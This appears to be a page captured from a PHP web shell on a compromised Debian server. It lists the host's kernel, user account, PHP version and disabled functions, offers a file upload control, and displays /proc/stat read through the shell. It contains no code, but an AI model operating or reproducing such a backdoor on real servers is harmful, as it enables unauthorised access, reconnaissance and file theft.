HEX
Server: Apache/2.4.65 (Debian)
System: Linux web6 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
User: innocamp (1028)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/root/proc/stat
cpu  36038077 3238 32524523 23996415 8033360 0 171097 1486151 0 0
cpu0 9027641 821 8111606 6053777 1998119 0 10311 369557 0 0
cpu1 9117332 868 8113852 5930127 2030727 0 9893 370026 0 0
cpu2 8900041 862 8158082 6024338 2021658 0 76605 379496 0 0
cpu3 8993061 685 8140981 5988172 1982855 0 74286 367071 0 0
intr 773062447 70290476 0 40000504 1057517 2285150 1 70222884 41721538 1064487 2004180 0 0 72576918 41106993 1068082 1803754 1277 0 71730609 39177754 1075548 1590905 1322 0 922 45126 10122915 11386058 10797970 9915675 16410266 8304236 16098173 7879265 16331893 8165681 16068452 7974971 239 77 80 7 196210 210134 210987 200935 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 708991646
btime 1760825213
processes 32119988
procs_running 3
procs_blocked 0
softirq 770425482 0 48301658 45991577 36468266 0 0 6167827 72357350 4382 561134422